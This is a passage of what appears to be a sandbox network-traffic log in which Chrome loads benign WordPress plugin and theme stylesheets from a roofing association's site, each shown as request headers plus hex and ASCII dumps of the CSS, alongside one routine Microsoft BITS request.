2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 65 74 68 6f 64 20 23 70 61 79 6d 65 6e 74 20 75 6c 2e 70 61 79 6d 65 6e 74 5f 6d 65 74 68 6f 64 73 20 6c 69 3a 6e 6f 74 28 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6e 6f 74 69 63 65 29 3a 3a 61 66 74 65 72 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 61 72 74 20 23 70 61 79 6d 65 6e 74 20 75 6c 2e 70 61 79 6d 65 6e 74 5f 6d 65 74 68 6f 64 73 20 6c 69 3a 6e 6f 74 28 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6e 6f 74 69 63 65 29 3a 3a 61 66 74 65 72 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 63 68 65 63 6b 6f 75 74 20 23 70 61 79 6d 65 6e 74 20 75 6c 2e 70 61 79 6d 65 6e 74 5f 6d 65 74 68 6f 64 73 20 6c 69 3a 6e 6f 74 28 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6e 6f 74 69 63 65 29 3a 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 23 61 64 64 5f 70 61 79 6d Data Ascii: ethod #payment ul.payment_methods li:not(.woocommerce-notice)::after,.woocommerce-cart #payment ul.payment_methods li:not(.woocommerce-notice)::after,.woocommerce-checkout #payment ul.payment_methods li:not(.woocommerce-notice)::after{clear:both}#add_paym
2024-04-23 14:53:42 UTC	5951	IN	Data Raw: 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 63 72 65 64 69 74 2d 63 61 72 64 73 2f 64 69 6e 65 72 73 2e 73 76 67 29 7d 23 61 64 64 5f 70 61 79 6d 65 6e 74 5f 6d 65 74 68 6f 64 20 23 70 61 79 6d 65 6e 74 20 64 69 76 2e 70 61 79 6d 65 6e 74 5f 62 6f 78 20 2e 77 63 2d 63 72 65 64 69 74 2d 63 61 72 64 2d 66 6f 72 6d 2d 63 61 72 64 2d 63 76 63 2e 6d 61 65 73 74 72 6f 2c 23 61 64 64 5f 70 61 79 6d 65 6e 74 5f 6d 65 74 68 6f 64 20 23 70 61 79 6d 65 6e 74 20 64 69 76 2e 70 61 79 6d 65 6e 74 5f 62 6f 78 20 2e 77 63 2d 63 72 65 64 69 74 2d 63 61 72 64 2d 66 6f 72 6d 2d 63 61 72 64 2d 65 78 70 69 72 79 2e 6d 61 65 73 74 72 6f 2c 23 61 64 64 5f 70 61 79 6d 65 6e 74 5f 6d 65 74 68 6f 64 20 23 70 61 79 6d 65 6e 74 20 Data Ascii: round-image:url(../images/icons/credit-cards/diners.svg)}#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc.maestro,#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry.maestro,#add_payment_method #payment

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49741	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:41 UTC	587	OUT	GET /wp-content/plugins/wp125/wp125.css?ver=6.0.7 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:41 UTC	536	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:41 GMT Content-Type: text/css Content-Length: 555 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 07 Mar 2022 16:06:32 GMT ETag: "6032ef-22b-5d9a30c407200" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:41 UTC	555	IN	Data Raw: 2f 2a 0a 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 74 68 65 20 57 50 31 32 35 20 61 64 20 6d 61 6e 61 67 65 6d 65 6e 74 20 70 6c 75 67 69 6e 0a 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 65 62 6d 61 73 74 65 72 2d 73 6f 75 72 63 65 2e 63 6f 6d 2f 77 70 31 32 35 2d 61 64 2d 70 6c 75 67 69 6e 2d 77 6f 72 64 70 72 65 73 73 2f 0a 2a 2f 0a 0a 0a 2f 2a 20 53 74 79 6c 65 73 20 66 6f 72 20 6f 6e 65 2d 63 6f 6c 75 6d 6e 20 64 69 73 70 6c 61 79 20 2a 2f 0a 23 77 70 31 32 35 61 64 77 72 61 70 5f 31 63 20 7b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0a 23 77 70 31 32 35 61 64 77 72 61 70 5f 31 63 20 2e 77 70 31 32 35 61 64 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 70 78 3b 20 7d 0a 0a 2f 2a 20 53 74 79 6c 65 73 20 66 6f 72 20 74 77 6f 2d 63 6f Data Ascii: /Stylesheet for the WP125 ad management pluginURL: http://www.webmaster-source.com/wp125-ad-plugin-wordpress///* Styles for one-column display /#wp125adwrap_1c { width:100%; }#wp125adwrap_1c .wp125ad { margin-bottom:8px; }/ Styles for two-co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49742	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:41 UTC	599	OUT	GET /wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:42 UTC	536	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:41 GMT Content-Type: text/css Content-Length: 374 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 14 Jul 2023 13:06:15 GMT ETag: "b414ec-176-600721d242591" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:42 UTC	374	IN	Data Raw: 2f 2a 0a 44 65 66 61 75 6c 74 20 73 74 79 6c 65 20 66 6f 72 20 57 50 2d 50 61 67 65 4e 61 76 69 20 70 6c 75 67 69 6e 0a 0a 68 74 74 70 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 65 78 74 65 6e 64 2f 70 6c 75 67 69 6e 73 2f 77 70 2d 70 61 67 65 6e 61 76 69 2f 0a 2a 2f 0a 0a 2e 77 70 2d 70 61 67 65 6e 61 76 69 20 7b 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 7d 0a 0a 2e 77 70 2d 70 61 67 65 6e 61 76 69 20 61 2c 20 2e 77 70 2d 70 61 67 65 6e 61 76 69 20 73 70 61 6e 20 7b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 42 46 42 46 42 46 3b 0a 09 70 61 64 64 69 6e 67 3a 20 33 70 78 20 35 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 32 70 78 3b 0a 7d 0a 0a 2e 77 70 2d 70 Data Ascii: /Default style for WP-PageNavi pluginhttp://wordpress.org/extend/plugins/wp-pagenavi//.wp-pagenavi {clear: both;}.wp-pagenavi a, .wp-pagenavi span {text-decoration: none;border: 1px solid #BFBFBF;padding: 3px 5px;margin: 2px;}.wp-p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49743	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:41 UTC	655	OUT	GET /wp-content/plugins/woocommerce-gateway-paypal-express-checkout/assets/css/wc-gateway-ppec-frontend.css?ver=2.1.3 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:42 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:41 GMT Content-Type: text/css Content-Length: 1756 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 20 Sep 2021 15:12:49 GMT ETag: "1d229c7-6dc-5cc6eb6ce5e40" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:42 UTC	1756	IN	Data Raw: 2e 77 63 70 70 65 63 2d 63 68 65 63 6b 6f 75 74 2d 62 75 74 74 6f 6e 73 20 7b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 6d 61 72 67 69 6e 3a 20 31 65 6d 20 30 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 2e 77 63 70 70 65 63 2d 63 68 65 63 6b 6f 75 74 2d 62 75 74 74 6f 6e 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 65 72 72 6f 72 20 7b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 77 63 70 70 65 63 2d 63 68 65 63 6b 6f 75 74 2d 62 75 74 74 6f 6e 73 5f 5f 73 65 70 61 72 61 74 6f 72 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 65 6d 3b 0a 7d 0a 2e 77 63 70 70 65 63 2d 63 68 65 63 6b 6f 75 74 2d 62 75 74 74 6f 6e 73 5f 5f 62 75 Data Ascii: .wcppec-checkout-buttons {text-align: center;margin: 1em 0;overflow: hidden;}.wcppec-checkout-buttons .woocommerce-error {text-align: left;}.wcppec-checkout-buttons__separator {display: block;margin: 0 0 1em;}.wcppec-checkout-buttons__bu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49744	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:42 UTC	614	OUT	GET /wp-content/themes/u-design/assets/css/frontend/layout/reset.css?ver=1.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:42 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:42 GMT Content-Type: text/css Content-Length: 2401 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e024e9-961-5b419ed103e00" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:42 UTC	2401	IN	Data Raw: 2f 2a 20 68 74 74 70 3a 2f 2f 6d 65 79 65 72 77 65 62 2e 63 6f 6d 2f 65 72 69 63 2f 74 6f 6f 6c 73 2f 63 73 73 2f 72 65 73 65 74 2f 20 2a 2f 0a 2f 2a 20 76 31 2e 30 20 7c 20 32 30 30 39 31 31 33 31 20 2a 2f 0a 0a 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 64 69 76 2c 20 73 70 61 6e 2c 20 61 70 70 6c 65 74 2c 20 6f 62 6a 65 63 74 2c 20 69 66 72 61 6d 65 2c 0a 68 31 2c 20 68 32 2c 20 68 33 2c 20 68 34 2c 20 68 35 2c 20 68 36 2c 20 70 2c 20 62 6c 6f 63 6b 71 75 6f 74 65 2c 20 70 72 65 2c 0a 61 2c 20 61 62 62 72 2c 20 61 63 72 6f 6e 79 6d 2c 20 61 64 64 72 65 73 73 2c 20 62 69 67 2c 20 63 69 74 65 2c 20 63 6f 64 65 2c 0a 64 65 6c 2c 20 64 66 6e 2c 20 65 6d 2c 20 66 6f 6e 74 2c 20 69 6d 67 2c 20 69 6e 73 2c 20 6b 62 64 2c 20 71 2c 20 73 2c 20 73 61 6d 70 2c 0a 73 6d Data Ascii: /* http://meyerweb.com/eric/tools/css/reset/ // v1.0 \| 20091131 */html, body, div, span, applet, object, iframe,h1, h2, h3, h4, h5, h6, p, blockquote, pre,a, abbr, acronym, address, big, cite, code,del, dfn, em, font, img, ins, kbd, q, s, samp,sm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49746	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:42 UTC	612	OUT	GET /wp-content/themes/u-design/assets/css/frontend/layout/960.css?ver=1.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:42 UTC	539	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:42 GMT Content-Type: text/css Content-Length: 7707 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e024e5-1e1b-5b419ed103e00" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:42 UTC	7653	IN	Data Raw: 2f 2a 0a 09 39 36 30 20 47 72 69 64 20 53 79 73 74 65 6d 20 7e 20 43 6f 72 65 20 43 53 53 2e 0a 09 4c 65 61 72 6e 20 6d 6f 72 65 20 7e 20 68 74 74 70 3a 2f 2f 39 36 30 2e 67 73 2f 0a 0a 09 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 47 50 4c 20 61 6e 64 20 4d 49 54 2e 0a 2a 2f 0a 2f 2a 20 76 31 2e 30 20 7c 20 32 30 30 39 31 31 33 31 20 2a 2f 0a 2f 2a 20 60 43 6f 6e 74 61 69 6e 65 72 73 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2a 2f 0a 2e 63 6f 6e 74 61 69 6e 65 72 5f 32 34 20 7b 0a 09 6d 61 72 67 Data Ascii: /960 Grid System ~ Core CSS.Learn more ~ http://960.gs/Licensed under GPL and MIT.//* v1.0 \| 20091131 // `Containers----------------------------------------------------------------------------------------------------*/.container_24 {marg
2024-04-23 14:53:42 UTC	54	IN	Data Raw: 72 66 69 78 20 7b 0a 09 68 65 69 67 68 74 3a 20 31 25 3b 0a 7d 0a 0a 2e 63 6c 65 61 72 66 69 78 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 7d 0a Data Ascii: rfix {height: 1%;}.clearfix {display: block;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49747	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:42 UTC	625	OUT	GET /wp-content/themes/u-design/inc/frontend/superfish-menu/css/superfish.css?ver=1.7.2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:42 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:42 GMT Content-Type: text/css Content-Length: 2254 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e0274a-8ce-5b419ed103e00" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:42 UTC	2254	IN	Data Raw: 0a 2f 2a 2a 2a 20 45 53 53 45 4e 54 49 41 4c 20 53 54 59 4c 45 53 20 2a 2a 2a 2f 0a 23 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 65 6e 75 20 2e 73 66 2d 6d 65 6e 75 2c 20 23 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 65 6e 75 20 2e 73 66 2d 6d 65 6e 75 20 2a 20 7b 0a 09 6d 61 72 67 69 6e 3a 09 09 09 30 3b 0a 09 70 61 64 64 69 6e 67 3a 09 09 30 3b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 09 09 6e 6f 6e 65 3b 0a 7d 0a 23 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 65 6e 75 20 2e 73 66 2d 6d 65 6e 75 20 7b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 09 31 2e 30 3b 0a 7d 0a 23 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 65 6e 75 20 2e 73 66 2d 6d 65 6e 75 20 75 6c 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 09 09 61 62 73 6f 6c 75 74 65 3b 0a 09 74 6f 70 3a 09 09 09 2d 39 39 39 65 6d 3b 0a 09 77 Data Ascii: /* ESSENTIAL STYLES /#navigation-menu .sf-menu, #navigation-menu .sf-menu {margin:0;padding:0;list-style:none;}#navigation-menu .sf-menu {line-height:1.0;}#navigation-menu .sf-menu ul {position:absolute;top:-999em;w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49745	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:42 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-23 14:53:42 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0758) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=58159 Date: Tue, 23 Apr 2024 14:53:42 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49748	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:42 UTC	624	OUT	GET /wp-content/themes/u-design/inc/frontend/prettyPhoto/css/prettyPhoto.css?ver=3.1.6 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:42 UTC	539	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:42 GMT Content-Type: text/css Content-Length: 19888 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e026fe-4db0-5b419ed103e00" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:42 UTC	7653	IN	Data Raw: 64 69 76 2e 70 70 5f 64 65 66 61 75 6c 74 20 2e 70 70 5f 74 6f 70 2c 64 69 76 2e 70 70 5f 64 65 66 61 75 6c 74 20 2e 70 70 5f 74 6f 70 20 2e 70 70 5f 6d 69 64 64 6c 65 2c 64 69 76 2e 70 70 5f 64 65 66 61 75 6c 74 20 2e 70 70 5f 74 6f 70 20 2e 70 70 5f 6c 65 66 74 2c 64 69 76 2e 70 70 5f 64 65 66 61 75 6c 74 20 2e 70 70 5f 74 6f 70 20 2e 70 70 5f 72 69 67 68 74 2c 64 69 76 2e 70 70 5f 64 65 66 61 75 6c 74 20 2e 70 70 5f 62 6f 74 74 6f 6d 2c 64 69 76 2e 70 70 5f 64 65 66 61 75 6c 74 20 2e 70 70 5f 62 6f 74 74 6f 6d 20 2e 70 70 5f 6c 65 66 74 2c 64 69 76 2e 70 70 5f 64 65 66 61 75 6c 74 20 2e 70 70 5f 62 6f 74 74 6f 6d 20 2e 70 70 5f 6d 69 64 64 6c 65 2c 64 69 76 2e 70 70 5f 64 65 66 61 75 6c 74 20 2e 70 70 5f 62 6f 74 74 6f 6d 20 2e 70 70 5f 72 69 67 68 74 Data Ascii: div.pp_default .pp_top,div.pp_default .pp_top .pp_middle,div.pp_default .pp_top .pp_left,div.pp_default .pp_top .pp_right,div.pp_default .pp_bottom,div.pp_default .pp_bottom .pp_left,div.pp_default .pp_bottom .pp_middle,div.pp_default .pp_bottom .pp_right
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 2d 72 65 70 65 61 74 7d 0a 64 69 76 2e 64 61 72 6b 5f 72 6f 75 6e 64 65 64 20 2e 70 70 5f 61 72 72 6f 77 5f 6e 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 70 72 65 74 74 79 50 68 6f 74 6f 2f 64 61 72 6b 5f 72 6f 75 6e 64 65 64 2f 73 70 72 69 74 65 2e 70 6e 67 29 20 2d 32 32 70 78 20 2d 37 31 70 78 20 6e 6f 2d 72 65 70 65 61 74 7d 0a 64 69 76 2e 64 61 72 6b 5f 72 6f 75 6e 64 65 64 20 2e 70 70 5f 62 6f 74 74 6f 6d 20 2e 70 70 5f 6c 65 66 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 70 72 65 74 74 79 50 68 6f 74 6f 2f 64 61 72 6b 5f 72 6f 75 6e 64 65 64 2f 73 70 72 69 74 65 2e 70 6e 67 29 20 2d 38 38 70 78 20 2d 38 30 70 78 20 6e 6f 2d 72 65 70 65 61 74 7d 0a 64 69 76 2e 64 61 72 Data Ascii: -repeat}div.dark_rounded .pp_arrow_next{background:url(../images/prettyPhoto/dark_rounded/sprite.png) -22px -71px no-repeat}div.dark_rounded .pp_bottom .pp_left{background:url(../images/prettyPhoto/dark_rounded/sprite.png) -88px -80px no-repeat}div.dar
2024-04-23 14:53:42 UTC	4043	IN	Data Raw: 2f 64 65 66 61 75 6c 74 5f 74 68 75 6d 62 6e 61 69 6c 2e 67 69 66 29 20 30 20 30 20 6e 6f 2d 72 65 70 65 61 74 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 33 33 70 78 3b 77 69 64 74 68 3a 35 30 70 78 7d 0a 2e 70 70 5f 67 61 6c 6c 65 72 79 20 2e 70 70 5f 61 72 72 6f 77 5f 70 72 65 76 69 6f 75 73 2c 2e 70 70 5f 67 61 6c 6c 65 72 79 20 2e 70 70 5f 61 72 72 6f 77 5f 6e 65 78 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 37 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 61 2e 70 70 5f 6e 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 70 72 65 74 74 79 50 68 6f 74 6f 2f 6c 69 67 68 74 5f 72 6f 75 6e 64 65 64 2f 62 74 6e 4e 65 78 74 2e 70 6e 67 29 20 31 30 30 30 30 70 78 20 31 30 30 30 30 70 78 20 6e 6f 2d 72 65 Data Ascii: /default_thumbnail.gif) 0 0 no-repeat;display:block;height:33px;width:50px}.pp_gallery .pp_arrow_previous,.pp_gallery .pp_arrow_next{margin-top:7px!important}a.pp_next{background:url(../images/prettyPhoto/light_rounded/btnNext.png) 10000px 10000px no-re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49749	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
